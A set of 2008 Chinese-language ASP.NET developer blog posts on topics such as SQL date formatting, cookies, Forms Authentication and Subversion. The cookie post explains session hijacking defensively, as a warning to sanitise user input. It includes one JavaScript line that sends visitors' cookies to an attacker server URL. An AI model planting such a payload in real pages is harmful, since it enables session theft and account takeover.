善用 HttpContext.Items 儲存短暫出現的資料

我們知道在 ASP.NET 的頁面中可以儲存資料的物件有好多個,有 Session 物件、Cache 物件、還可以在頁面中自己定義 Page 類別的欄位(Field)變數,但有個好用的物件鮮少有人知道,就是 HttpContext.Items,如果你希望在 HttpModule 與 HttpHandler 或 Page 的程式之間傳遞資料時,使用 HttpContext.Items 就太完美啦!

這個 HttpContext.Items 物件的生命週期很短,只會出現在這一個 HTTP Request 裡面而已,當頁面送給 User 之後,物件就會自動回收,所以如果僅僅是需要將在 HttpModule 中整理好的資料傳遞到頁面的話,就可以透過這個物件來做。

相關連結

 

  

此文章由 will 發表於 2008/2/29 上午 12:03:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: ASP.NET

標籤: , , ,

收藏:

保哥的軟體哲學

我本身帶領軟體開發團隊一段時間了,且近幾個月也在微軟技術社群討論區參與社群討論,偶爾會看到有人詢問一些軟體開發的觀念與學習的方法,我個人大致整理了一下這幾年來的心得,大略列出幾點跟大家分享:

保哥的軟體哲學(1)

在團隊中不一定要做老大,但有機會的話不要做老二,培養領導能力,學習如何建立團隊,這經驗不是每個人都有機會能得到的。 

保哥的軟體哲學(2)

培養負責任的態度,如果真的不適合寫軟體,也可以做一段時間再轉行,因為寫軟體可以培養你的邏輯思考能力。

保哥的軟體哲學(3)

有時間就多想:軟體只要規劃的好,可以節省10倍以上的開發時間。

沒時間就多做:連想的時間都沒有的話,就從寫 Code 的手感中尋找下一個靈感。

保哥的軟體哲學(4)

沒觀念就多看書,但有觀念者還是要多寫Code累積自信,寫軟體的自信是一行一行的 Code 累積起來的!

保哥的軟體哲學(5)

沒經驗就多做事、少抱怨,但有經驗者要少寫 Code 多思考 (但還是不能常抱怨)

// 做事 = 寫 Code

保哥的軟體哲學(6)

寫程式是很「個人」的事,寫程式的品質直接影響你的個人品牌,別讓負面情緒(抱怨,失望,討厭,灰心,逃避,拖延,...)影響你程式的品質。

保哥的軟體哲學(7)

寫程式是很「團隊」的事,團隊的紀律與規範非常重要,團隊成員有一致的流程與共通的習慣可以讓你避免陷入泥沼,也可以提升效率。

 

  

此文章由 will 發表於 2008/2/28 上午 12:01:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: 心得分享 | 團隊合作

標籤: , , ,

收藏:

善用 SQL Server 中的 CONVERT 函數處理日期字串

我之前一直認為 SQL Server 針對日期處理的函數不夠多(如果跟 MySQL 比較),尤其是處理日期欄位轉字串的時候,常常因為要輸出特定的格式而懊惱不已,常常一不小心就寫了一長串,很不易閱讀。

例如說初學者可能為了輸入一個 "2008-2-27" 的格式會這樣寫:

[code:tsql]

select convert(varchar(4),Year(getdate())) + '-' + convert(varchar(2), month(getdate()))+ '-' + convert(varchar(2), day(getdate()))

[/code]

但如過客戶要求 "2008-02-27" 這種格式呢?!我看會寫瘋掉了,你可能會這樣寫:

[code:tsql]

select
 convert(varchar(4),Year(getdate())) + '-' +
 CASE month(getdate())
 WHEN  1 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  2 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  3 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  4 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  5 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  6 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  7 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  8 THEN '0' + convert(varchar(2), month(getdate()))
 WHEN  9 THEN '0' + convert(varchar(2), month(getdate()))
 ELSE convert(varchar(2), month(getdate())) END +
  '-' +
 CASE day(getdate())
 WHEN  1 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  2 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  3 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  4 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  5 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  6 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  7 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  8 THEN '0' + convert(varchar(2), day(getdate()))
 WHEN  9 THEN '0' + convert(varchar(2), day(getdate()))
 ELSE convert(varchar(2), day(getdate())) END

[/code]

別笑!我真的看過有人這樣寫!呵呵~

其實 SQL Server 早就有個 CONVERT 函數可以幫我們做這件事!如果你要輸出 2008-02-27 這種日期格式的字串,可以這樣寫: 

[code:tsql]

SELECT CONVERT(char(10), getdate(), 120)

[/code]

是不是短很多呢? ^__^

底下列出一些我常用的語法:

  • 輸出格式:2008-02-27 00:25:13

    SELECT CONVERT(char(19), getdate(), 120)

  • 輸出格式:2008-02-27

    SELECT CONVERT(char(10), getdate(), 20)

     
  • 輸出格式:2008.02.27

    SELECT CONVERT(char(10), getdate(), 102)

  • 輸出格式:08.02.27

    SELECT CONVERT(char(8), getdate(), 2)

  • 輸出格式:2008/02/27

    SELECT CONVERT(char(10), getdate(), 111)

  • 輸出格式:08/02/27

    SELECT CONVERT(char(8), getdate(), 11)

  • 輸出格式:20080227

    SELECT CONVERT(char(8), getdate(), 112)

  • 輸出格式:080227

    SELECT CONVERT(char(6), getdate(), 12)

想查詢完整的列表與說明可以到 MSDN 的 Transact-SQL Reference 去查詢 CAST and CONVERT 的詳細說明。

相關連結

 

  

此文章由 will 發表於 2008/2/27 上午 12:25:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: SQL Server

標籤: , , ,

收藏:

介紹幾套好用的檔案上傳元件

檔案上傳幾乎每個專案都用的到,但 ASP.NET 2.0 的 FileUpload 控制項有點太陽春了,目前我從網路上找到的 File Upload 元件大多是透過 JavaScript + IFRAME 上傳,或用 JavaScript + Flash 上傳比較好用,今天介紹幾款不錯的。

  1. SWFUpload

    採用 JavaScript + Flash 進行上傳動作,功能強大、一應俱全,雖然每有 ASP.NET 現成的控制項可用,但是有提供使用 ASP.NET 的範例可以參考,是個值得推薦使用的套件!

    其功能有:

    - 可一次上傳多個檔案。
    - 支援 JavaScript 的 Callback 事件。
    - 可在檔案開始上傳前取得部分檔案資訊。
    - 可以透過 XHTML 與 CSS 客製化上傳的元件。
    - 可得知檔案上傳進度。
    - 上傳檔案不需要 PostBack,可以等上傳檔案完成後再 PostBack 出去。
    - 只要是 Flash 支援的 Browser 都可以用。
    - 就算 Flash 或 JavaScript 都無效的時候,也可以正常上傳。
    - 可以在「檔案上傳之前」就先判斷檔案大小,超過限制可以不進行上傳。
    - 可以在瀏覽檔案時篩選特定的檔案類型
    - 支援上傳檔案佇列功能,可以在還沒上傳檔案之前將新增要上傳的檔案或移除要上傳的檔案。

  2. FancyUpload

    這個套件就像他的名字一樣很花俏(Fancy),看過他的 Demo 就是到他的威力了。

    其功能有:

    - 可一次上傳多個檔案。
    - 可以在瀏覽檔案時篩選特定的檔案類型
    - 支援 JavaScript 的 Callback 事件。
    - 可在檔案開始上傳前取得部分檔案資訊。
    - 可以在「檔案上傳之前」就先判斷檔案大小,超過限制可以不進行上傳,也可限制上傳檔案數的上限。
    - 只要是支援 Flash 8 的 Browser 都可以用。
    - 支援上傳檔案佇列功能,可以在還沒上傳檔案之前將新增要上傳的檔案或移除要上傳的檔案。
    - 所有功能都可以設定,文件
    - 可得知檔案上傳進度。
    - 上傳檔案不需要 PostBack,可以等上傳檔案完成後再 PostBack 出去。
    - 就算 Flash 或 JavaScript 都無效的時候,也可以正常上傳。

  3. AjaxFileUpload

    這是一個 jQuery Plugin,也算是不錯用,只是功能沒像上面兩個那麼多功能,因為這套是用 JavaScript + IFRAME 的技巧實做的。

    如果你想找其他 jQuery Plugins 可以來這裡:http://plugins.jquery.com/

相關網址

 

  

此文章由 will 發表於 2008/2/26 上午 12:01:00

永久連結 | 評論 (8) | 此文章的RSSRSS comment feed |

分類: ASP.NET | JavaScript | Web

標籤: , , , , ,

收藏:

介紹幾套好用的線上 HTML 編輯器

線上 HTML 編輯器真的蠻重要的,尤其是在開發內容管理系統的時候,許多不熟悉 HTML 語法的客戶都可以用線上 HTML 編輯器來管理網站內容,以下我將介紹我比較常用且免費的幾套線上 HTML 編輯器。

  1. FCKeditor - The text editor for Internet

    這算是我的最愛了,瀏覽器相容性高、功能強大又支援寫好的 ASP.NET 2.0 伺服器控制項,且也支援檔案瀏覽器(File Browser)可以在線上管理網頁中用到的圖片或附件。最重要的:所有功能都免費。

    FCKeditor - The text editor for Internet

  2. FreeTextBox

    FreeTextBox 是 ASP.NET 界中最多人用的 HTML 編輯器(他網站說的),跟 FCKeditor 一樣也同時支援 IE, Firefox 且也跨平台。有分免費版、專業版(US$ 49.99)、散佈授權版(US$ 199,99)但即便是專業版好像也不支援檔案瀏覽器(File Browser),不容易管理頁面中的圖片。

    FreeTextBox 圖示

  3. TinyMCE Javascript Content Editor by Moxiecode Systems AB

    這套功能算是很強大,但是強大的功能都要錢。

    TinyMCE Javascript Content Editor by Moxiecode Systems AB 圖示

 

  

此文章由 will 發表於 2008/2/25 上午 12:05:00

永久連結 | 評論 (1) | 此文章的RSSRSS comment feed |

分類: ASP.NET | JavaScript | 介紹好用工具

標籤: , , , ,

收藏:

驗證你的 JavaScript 程式:JSLint

我們常常在寫 JavaScript,但又要如何驗證我們的 JavaScript 寫的好不好呢?有個 JSLint 網站就幫我們做這件事。之前我也是認為在寫 JavaScript 的時候都覺得只要跑起來沒問題就好,測過 IE, Firefox 就可以了,也不覺得省略一些分號結尾(;)或有沒有加上 { , } 或是部分使用全域變數(Global variables)有什麼關係,但是總是會不定時在一些特定的情況下出錯,且通常 JavaScript 發現錯誤不太容易,通常是客戶提出說「好像有問題」時才會處理,這實在不太專業。

對一個成熟且結構嚴謹的程式語言來說,編譯器(compiler)會幫我們做掉許多潛在可能會造成程式執行不穩定的情況,甚至會主動修正我們所寫的程式,讓我們的程式符合標準。但是 JavaScript 是個非常結構鬆散的程式語言,多年前 JavaScript 通常只會用來執行一些 Web 簡單的工作,例如:驗證表單、修改網頁內容、基本的數學運算,但在現在這個 Web 2.0 的時代,越來越依賴 JavaScript 幫我們處理許多之前不會用 JavaScript 處理的事,或開始用 JavaScript 開發一些較複雜的專案。但是 JavaScript 的語言結構卻沒有重大展進,最主要還是因為 JavaScript 太多人用了,為了讓大多人寫的 JavaScript 還是可以繼續執行,通常維持結構鬆散對大家比較好寫,缺點就是很容易出現臭蟲(Bugs)。

就因為 JavaScript 結構鬆散,所以才需要類似編譯器之類的工具幫我們驗證我們寫的 JavaScript 語法是否符合標準、撰寫 JavaScript 是否結構嚴謹、撰寫的風格是否理想、...等等。JSLint 定義了一組比 ECMAScript Language Specification 第三版 所定義的規格中更嚴謹的規格來驗證你的 JavaScript,驗證後的程式碼覺得是優的啦。另外你也可以參考 Code Conventions for the JavaScript Programming 文件提到的 JavaScript 程式編碼慣例。

JSLint 幫你檢查未定義的變數、函數、陳述式結尾有沒有加分號(;)、變數使用之前要先用 var 宣告、使用非數字的變數要用 === 或 !== 讓比對的時候不要自動進行轉型(Casting)、盡量不要使用 eval 函數、... 好多好多,驗證完之後會立即出一份完整的報告給你。除了驗證 JavaScript 之外,JSLint 也能夠驗證 HTMLJSON 的語法(JSON 其實就是 JavaScript 語法,只是多取一個名字)。

我第一次使用 JSLint 網站驗證我自己寫的 JavaScript 程式時真的還蠻受傷的,因為每一支程式都有被糾正需要改善的地方,但改過之後你真的可以放心的對自己說:「我寫的 JavaScript 是最專業的」。

相關連結:

  1. JSLint, The JavaScript Verifier
    http://jslint.com/lint.html
  2. JSLint, The JavaScript Verifier - Online Validator
    http://jslint.com/
  3. Code Conventions for the JavaScript Programming Language
    http://javascript.crockford.com/code.html
  4. Introducing JSON
    http://www.json.org/
  5. JSON - Wikipedia, the free encyclopedia
    http://en.wikipedia.org/wiki/JSON
  6. JSMin, The JavaScript Minifier
    http://javascript.crockford.com/jsmin.html

 

  

此文章由 will 發表於 2008/2/24 上午 12:04:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: JavaScript | Web

標籤: , , , , ,

收藏:

解釋 Cookie 的特性

Cookie 是我們開發 Web 應用程式經常要面對的事,但又有多少人瞭解 Cookie 的細部特性呢!今天來談談 Cookie 的細部特性吧。

Cookie 的運作是這樣的:

  1. Server 端回應給 Browser 一個或多個 "Set-Cookie" HTTP Header
  2. Client 端 ( Browser ) 接收到 Set-Cookie 指令時,會將 Cookie 的名稱與值儲存在 Browser 的 Cookie 存放區,並記錄該 Cookie 隸屬的網域、網址路徑、過期時間、是否為安全連線
  3. 當 Browser 再次發出 HTTP Request 指令到 Server 時,就會比對目前在 Browser 內的 Cookie 存放區有沒有「該網域」、「該目錄」、「過期時間尚未過期」且「是否為安全連線」的 Cookie,如果有的話就會包含在 HTTP Request 指令的 "Cookie" Header 中。

    假設 Browser 在取得一張網頁時如果裡面包含 20 張圖、3 個 CSS、2 個 JavaScript 檔的話,同樣一份 Cookie 就會送出 25 次到 Server 端,如果你 Cookie 的大小有 4K 的話,光是看一張網頁你可能就要從你的電腦發送出 100KB 的頻寬,且可能只有一張網頁用的到這個 Cookie 而已。

    所以使用 Cookie 並非「多多益善」,而是要「小心使用」,否則光是 Cookie 就會讓你的網頁顯示的時間變慢。

由於 Cookie 是儲存在 Client 端,所以一些比較機密的資料不建議存放在 Cookie 中,例如有套軟體 IECookiesView 就可以輕易的將一台電腦中的所有 Cookie 取出,如果你的 Cookie 中有帳號、密碼、身份證字號等資料,那就真的全都露啦!如果真的要放也要加密過後再放比較安全。

網路上有個常見的攻擊手法叫做 Session hijacking ,就是透過 JavaScript 將 Cookie 偷偷傳遞出來,然後冒用別人的 Cookie 來登入,所以在開發 Web 應用程式的時候,千萬千萬要注意,尤其是讓使用者上傳資料的時候,一定要避免使用者偷偷上傳 JavaScript 的程式,資料儲存到資料庫之前一定要做檢查,或是將非法的標籤(如:<script>)移除。

Session hijacking 攻擊的手法模擬摘要如下:

  1. 惡意使用者登入討論區,新增一篇含有 JavaScript 的文章
  2. 所有來看你這篇文章的人,且是已經登入的使用者,其 Cookie 就可以透過下列一行指令將 Cookie 回傳給自己的伺服器:

    document.images[0].src = 'http://my.server.com/getCookie.aspx?cookies=' + encodeURIComponent(document.cookies);
  3. 惡意使用者得到 Cookie 後修改自己 Browser 所記錄的 Cookie 值,就可以變成另一個人的身份使用網站了,這時要改密碼、看資料、刪除資料都很容易了!

通常 Cookie 有兩種類型:Persistent Cookie 與 Session Cookie

1. Persistent Cookie

這種類型的 Cookie 可以設定存在 Browser 一段時間(明確指定 Cookie 的 Expires 時間),如果你設定的時間夠長(例如:一天),即便 Browser 全部關閉或重開機後再開啟也還會存在。

例如以下程式:

[code:c#]

    Response.Cookies["Email"].Value = TextBox1.Text;
    Response.Cookies["Email"].Expires = DateTime.Now.AddDays(1);

[/code]

2. Session Cookie

這種 Cookie 是當不特別指定 Expires (過期時間) 時,該 Cookie 只會存在目前這個 Browser 的續存期間(Session),只要 Browser 全部關閉後 Cookie 會自動被清除。

例如以下程式:

[code:c#]

    Response.Cookies["Username"].Value = DateTime.Now.ToString();

[/code]

RFC 2109 HTTP State Management Mechanism 規範的 6.3 Implementation Limits 章節中有定義 User Agent (瀏覽器) 針對 Cookie 的最低儲存量,但是每一個 Browser 在實做的時候還是有其限制,大多 Browser 都僅實做最低的儲存量,因為使用過多的 Cookie 會消耗頻寬,反而沒有效率,RFC 上面的定義是這樣的:

  1. 至少可以儲存 300 個 Cookies
  2. 每個 Cookie 所儲存的值至少可以儲存 4096 位元組(4KB)
  3. 每個網域(domain name)至少可以儲存 20 個 Cookies

    P.S. 網址中 http://blog.miniasp.com/ 的 blog.miniasp.com 在這裡稱為「網域」,即便是 http://192.168.1.1/ 的 192.168.1.1 也都通稱為「網域」。

當你設定 Cookie 的大小超出限制,瀏覽器就會丟棄整個 Cookie,而不是將你設定的值取可以儲存的部分。

底下列出一些 ASP.NET 針對 Cookie 操作的一些範例:

  1. 讀取從 Browser 送過來的 Cookie

    [code:c#]

        if (Request.Cookies["LastVisit"] != null)
        {
          Label1.Text = Server.HtmlEncode(Request.Cookies["LastVisit"].Value);
        }

    [/code]

  2. 寫入或更新 Cookie 到 Browser 端,並設定過期時間為 1 小時

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        Response.Cookies["UserID"].Expires = DateTime.Now.AddHours(1);

    [/code]

  3. 刪除 Browser 端的 Cookie

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        // 只要將 Cookie 的 Expires 設定成 "昨天" 就可以刪除了!
        Response.Cookies["UserID"].Expires = DateTime.Now.AddDays(-1);

    [/code]

  4. 設定一個只有當使用 HTTPS 安全連線時才送出的 Cookie

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        Response.Cookies["UserID"].Secure = true;

    [/code]


    備註: 雖然此 Cookie 會在 HTTPS 連線的情況下才會送出,但儲存在 Browser 端的資料還是明碼喔! 如果使用者在公用電腦上網,也有資料被盜取的風險!
  5. 設定一個 "跨子網域" 的 Cookie

    [code:c#]

        Response.Cookies["UserID"].Value = "will";
        // 所有 *.miniasp.com 網域的網站的程式都會收到此 Cookie
        Response.Cookies["UserID"].Domain = ".miniasp.com";

    [/code]


    備註1: 通常有多個子網域的 "單一簽入" (Single Sign-On, SSO) 機制會用這種方法做!
    備註2: 你不能設定 "與跟自己不一樣的網域(Domain)",Browser 不會理你的! 例如: http://www.miniasp.com/ 這頁就不能設定 abc.com 的 Cookie!

    Q: 你覺得當你在 http://www.miniasp.com/ 可以設定 blog.miniasp.com 網域(Domain)的 Cookie 嗎?
    A: 答案是不行的! 你如果要從 www.miniasp.com 設定 Cookie 讓 blog.miniasp.com 也可以讀取到的話,必須指定 Domain 為 ".miniasp.com"

  6. 設定一個二維陣列的 Cookie

    [code:c#]

        Response.Cookies["User"]["LastLoginTime"] = DateTime.Now.ToString();

    [/code]


    備註: 雖然這是個類似二為陣列的 Cookie,但是事實上 Cookie 本身是不支援多維方式儲存的!

    上述那一段所輸出的 Header 將會是:
        Set-Cookie: UserData=LastVisit=2008-02-22 下午 09:17:42;

    而你若嘗試讀取 Response.Cookies["User"].Value 的話,所得到的值將是 LastVisit=2008-02-22 下午 09:17:42
  7. 刪除二為陣列 Cookie 中的子鍵值

    [code:c#]

        Response.Cookies["User"].Values.Remove("LastLoginTime");

    [/code]


相關網址: 

 

  

此文章由 will 發表於 2008/2/23 上午 12:03:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: ASP.NET | JavaScript | Web

標籤: , ,

收藏:

如何備份、還原 Active Directory 資料庫

我有好一陣子因為不知道怎麼備份 AD 資料庫而擔心不知道哪天主機掛掉該怎麼辦,今天來解說一下 Windows Server 2003 的 AD 備份與還原的這個過程。

備份的過程

  1. 開啟「備份公用程式」 並點選「備份精靈 (進階)(B)」進入

    開啟「備份公用程式」 並點選「備份精靈 (進階)(B)」進入

  2. 在「備份項目」的地方選取「只備份系統狀態資料」,因為「系統狀態資料」就包括了所有 AD 的資料庫!

    在「備份項目」的地方選取「只備份系統狀態資料」

  3. 設定備份檔要儲存的位址與備份的檔名

    設定備份檔要儲存的位址與備份的檔名

  4. 最後按下「完成」就會立即開始備份了

    最後按下「完成」就會立即開始備份了

還原的過程

  1. 還原的過程比較特別一點,因為如果用正常程序開機是無法還原 AD 資料庫的,所以必須在重新開機的時候在「Windows 進階選項功能表」選取「目錄還原模式」開機。

    進入「Windows 進階選項功能表」的方式就是在開機時,在剛跳過 BIOS 開機畫面後快速按下 F8 好幾次,就會進入了,此時請選取「目錄還原模式」並按下 Enter 鍵。

    進入「Windows 進階選項功能表」的畫面

  2. 開機完成後再用「備份公用程式」還原剛剛備份的那個檔案就可以將 AD 資料庫還原了!

相關連結:

 

  

此文章由 will 發表於 2008/2/21 上午 12:02:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: 系統管理

標籤: , ,

收藏:

概略解釋 Forms Authentication 的運作

我個人實在沒太多時間解釋整個 Forms Authentication 的運作機制,不過有些不錯的文章可以介紹給大家看:

你要使用 Forms Authentication 可以用許多方式,可以用 ASP.NET 的 Login 控制項,也可以自訂表單做登入動作。而我今天會分享一些自訂表單登入的寫作心得。

要讓會員登入成「已驗證」狀態的話,可以透過 FormsAuthentication 類別中的一個 RedirectFromLoginPage 靜態方法,而最簡單的一段程式碼就是這樣:

  string strUsername = "will";
  FormsAuthentication.RedirectFromLoginPage(strUsername, true);

只要執行這段程式碼就會以「strUsername」定義的名稱登入了。

如果你要判斷使用者是否已經是登入的狀態,可以用以下程式碼:

  if(User.Identity.IsAuthenticated)
  {
      Response.Write("您現在是已登入狀態。");
  }

登入後要取得登入的帳號,可以用以下程式碼:

  string strLoginID = User.Identity.Name;

但使用這段程式碼要注意,如果使用者「尚未登入」的話,User.Identity 會回傳 null 進而導致使用 User.Identity.Name 的時候發生 Exception !!

雖然你可以很輕易的執行「登入」動作,但是預設來說 ASP.NET 2.0 的 Forms Authentication 是使用 Cookie 來做儲存登入資訊的動作,且預設的過期時間是 30 分鐘,如果希望設定成 Browser 全部關閉後會自動登出的話,就必須採用自訂 Forms Authentication Cookie 的方式,程式碼片段如下:

  string userData = "ApplicationSpecific data for this user";
 
  string strUsername = "你想要存放在 User.Identy.Name 的值,通常是使用者帳號";

  FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1,
    strUsername,
    DateTime.Now,
    DateTime.Now.AddMinutes(30),
    isPersistent,
    userData,
    FormsAuthentication.FormsCookiePath);
 
  // Encrypt the ticket.
  string encTicket = FormsAuthentication.Encrypt(ticket);
 
  // Create the cookie.
  Response.Cookies.Add(new HttpCookie(FormsAuthentication.FormsCookieName, encTicket));

以上這段程式碼片段就是用來產生 Forms Authentication 的 Ticket,並將取得的 Ticket 編碼後設定儲存在使用者 Browser 的 Cookie 中。但其中有個參數叫做 "userData",我也是研究了一下子才知道怎麼用他,想知道的人可以參考 FormsAuthenticationTicket.UserData 屬性

所以要取得登入時設定的 userData 的方式,可以參考以下程式片段:

  FormsIdentity id = (FormsIdentity)User.Identity;
  FormsAuthenticationTicket ticket = id.Ticket;

  cookiePath.Text = ticket.CookiePath;
  expireDate.Text = ticket.Expiration.ToString();
  expired.Text = ticket.Expired.ToString();
  isPersistent.Text = ticket.IsPersistent.ToString();
  issueDate.Text = ticket.IssueDate.ToString();
  name.Text = ticket.Name;
  userData.Text = ticket.UserData;
  version.Text = ticket.Version.ToString();

但是有點要特別注意,就是您應該要限制儲存在 UserData 屬性中的資料量,因為 UserData 屬性所設定的資料最後會加密後儲存在 Cookie 中,雖然在 RFC 2109 HTTP State Management Mechanism 規範的 6.3 Implementation Limits 中有定義 User Agent (瀏覽器) 針對 Cookie 的最低儲存量,但是其 Cookie 的儲存量還是有其限制的,如果你設定超過了其限制,就有可能造成怎樣都無法登入成功的狀況!請參考 KB 306070 : 數字和大小限制的 Internet Explorer 中的 Cookie

最後,如果你要登出的話,可以用以下程式碼片段:

  FormsAuthentication.SignOut();

  

此文章由 will 發表於 2008/2/21 上午 12:01:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: ASP.NET

標籤: ,

收藏:

請勿將某些檔案類型的檔案簽入到 Subversion 版本庫

我們在用 Visual Studio 開發專案的時候,常常都會有人將一些個人的設定檔也簽入到 Subversion 版本庫,例如說:*.suo, *.user 等。導致每次開啟 Visual Studio 的時候都會變更這些檔案的內容,造成每次簽入變更到資料庫時都會將這些檔案也都簽入,當其他團隊成員在做 SVN Update 時,會造成檔案衝突的問題,對大家來說也是個困擾。

我這裡整理出一些常見的檔案類型,請不要將以下檔案簽入(commit)到 Subversion 版本庫:

如果你已經簽入(commit)到 SVN 版本庫的話,必須用以下步驟將檔案從版本庫中移出,並從下次起忽略這些檔案:

  1. 先備份這些檔案,然後刪除這些檔案
  2. 簽入這些刪除的變更
  3. 將步驟 1 備份的檔案還原
  4. 重新簽入,但這時會看到幾個新的檔案(non-versioned),將這些檔案加入 SVN 的 ignore list ( 如下圖示 )

    重新簽入,但這時會看到幾個新的檔案(non-versioned),將這些檔案加入 SVN 的 ignore list

    加入後檔案會不見,但是卻會出現目錄的名稱,但是 Status 卻是 modified (property change only) 代表此目錄已經加上了 ignore 的屬性,必須要簽入到 SVN 版本庫後才能將此設定 share 給其他團隊成員:

    加入後檔案會不見,但是卻會出現目錄的名稱,但是 Status 卻是 modified (property change only) 代表此目錄已經加上了 ignore 的屬性,必須要簽入到 SVN 版本庫後才能將此設定 share 給其他團隊成員

 

  

此文章由 will 發表於 2008/2/20 上午 12:06:00

永久連結 | 評論 (0) | 此文章的RSSRSS comment feed |

分類: Subversion | 團隊合作 | 專案管理

標籤: , ,

收藏: